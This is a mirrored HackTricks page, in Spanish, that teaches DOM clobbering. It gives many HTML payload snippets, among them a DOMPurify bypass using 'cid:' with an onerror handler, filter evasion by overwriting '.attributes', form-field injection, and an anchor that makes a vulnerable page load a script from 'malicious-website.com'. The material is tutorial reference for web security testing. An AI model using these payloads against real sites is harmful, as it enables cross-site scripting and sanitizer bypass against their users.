mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
220 lines
10 KiB
Markdown
220 lines
10 KiB
Markdown
# Dom Clobbering
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Conceptos básicos**
|
||
|
||
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
|
||
```html
|
||
<form id="x"></form>
|
||
<script>
|
||
console.log(typeof document.x) //[object HTMLFormElement]
|
||
</script>
|
||
```
|
||
**Solo** ciertos elementos pueden usar el **atributo name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
|
||
|
||
Curiosamente, cuando usas un **elemento form** para **clobber** una variable, obtendrás el valor **`toString`** del elemento en sí: `[object HTMLFormElement]` pero con **anchor** el **`toString`** será el **`href`** del ancla. Por lo tanto, si clobber usas la etiqueta **`a`**, puedes **controlar** el **valor** cuando se **trata como una cadena**:
|
||
```html
|
||
<a href="controlled string" id="x"></a>
|
||
<script>
|
||
console.log(x) //controlled string
|
||
</script>
|
||
```
|
||
### Arrays & Attributes
|
||
|
||
También es posible **sobrescribir un array** y **atributos de objetos**:
|
||
```html
|
||
<a id="x">
|
||
<a id="x" name="y" href="controlled">
|
||
<script>
|
||
console.log(x[1]) //controlled
|
||
console.log(x.y) //controlled
|
||
</script></a
|
||
></a
|
||
>
|
||
```
|
||
Para sobrescribir **un 3er atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
|
||
```html
|
||
<form id="x" name="y"><input id="z" value="controlled" /></form>
|
||
<form id="x"></form>
|
||
<script>
|
||
alert(x.y.z.value) //controlled
|
||
</script>
|
||
```
|
||
Clobbering más atributos es **más complicado pero aún posible**, usando iframes:
|
||
```html
|
||
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(x.y) //controlled
|
||
</script>
|
||
```
|
||
> [!WARNING]
|
||
> La etiqueta style se utiliza para **dar suficiente tiempo al iframe para renderizarse**. Sin ella, encontrarás una alerta de **undefined**.
|
||
|
||
Para clobber atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
|
||
```html
|
||
<iframe
|
||
name="a"
|
||
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>
|
||
@import "https://google.com";
|
||
</style>
|
||
<script>
|
||
alert(a.b.c.d.e) //controlled
|
||
</script>
|
||
```
|
||
### **Evasión de Filtros**
|
||
|
||
Si un filtro está **iterando** a través de las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** el atributo **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
|
||
```html
|
||
<form id="x"></form>
|
||
<form id="y">
|
||
<input name="nodeName" />
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById("x").nodeName) //FORM
|
||
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
En JavaScript es común encontrar:
|
||
```javascript
|
||
var someObject = window.someObject || {}
|
||
```
|
||
Manipular HTML en la página permite sobrescribir `someObject` con un nodo DOM, lo que puede introducir vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar `someObject` con un elemento de anclaje que apunte a un script malicioso:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
En un código vulnerable como:
|
||
```html
|
||
<script>
|
||
window.onload = function () {
|
||
let someObject = window.someObject || {}
|
||
let script = document.createElement("script")
|
||
script.src = someObject.url
|
||
document.body.appendChild(script)
|
||
}
|
||
</script>
|
||
```
|
||
Este método explota la fuente del script para ejecutar código no deseado.
|
||
|
||
**Truco**: **`DOMPurify`** permite usar el protocolo **`cid:`**, que **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que será decodificada en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** hará que la `"` codificada en HTML sea **decodificada en tiempo de ejecución** y **escape** del valor del atributo para **crear** el evento **`onerror`**.
|
||
|
||
Otra técnica utiliza un elemento **`form`**. Ciertas bibliotecas del lado del cliente inspeccionan los atributos de un nuevo elemento de formulario creado para limpiarlos. Sin embargo, al agregar un `input` con `id=attributes` dentro del formulario, efectivamente sobrescribes la propiedad de atributos, impidiendo que el sanitizador acceda a los atributos reales.
|
||
|
||
Puedes [**encontrar un ejemplo de este tipo de clobbering en este CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering del objeto documento
|
||
|
||
Según la documentación, es posible sobrescribir atributos del objeto documento usando DOM Clobbering:
|
||
|
||
> La [interfaz Document](https://html.spec.whatwg.org/multipage/dom.html#document) [soporta propiedades nombradas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedades soportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un [objeto Document](https://html.spec.whatwg.org/multipage/dom.html#document) en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) de acuerdo con el elemento que las contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de los valores de atributos de nombre cuando el mismo elemento contribuye ambos:
|
||
>
|
||
> \- El valor del atributo de contenido name para todos los elementos [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido name no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido name no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Usando esta técnica, puedes sobrescribir **valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children`**, e incluso métodos en la interfaz Document como `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Escribiendo después del elemento clobbering
|
||
|
||
Los resultados de las llamadas a **`document.getElementById()`** y **`document.querySelector()`** pueden ser alterados al inyectar una etiqueta `<html>` o `<body>` con un atributo id idéntico. Así es como se puede hacer:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">
|
||
clobbered
|
||
</html>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
alert(document.querySelector(".x").innerText) // Clobbered
|
||
</script>
|
||
</p>
|
||
```
|
||
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede prevenir la interferencia de otro texto en el `innerText`, mejorando así la eficacia del ataque:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
<style>
|
||
p {
|
||
display: none;
|
||
}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Las investigaciones sobre SVG revelaron que una etiqueta `<body>` también se puede utilizar de manera efectiva:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<body id="cdnDomain">
|
||
clobbered
|
||
</body>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesaria una etiqueta `<foreignobject>`:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">
|
||
clobbered
|
||
</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById("cdnDomain").innerText) // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
Es posible agregar **nuevas entradas dentro de un formulario** simplemente **especificando el atributo `form`** dentro de algunas etiquetas. Puedes usar esto para **agregar nuevos valores dentro de un formulario** e incluso para agregar un **botón** nuevo para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form="id-other-form" name="info">
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
- Para más atributos de formulario en [**botón consulta esto**](https://www.w3schools.com/tags/tag_button.asp)**.**
|
||
|
||
## Referencias
|
||
|
||
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
- [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
- Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|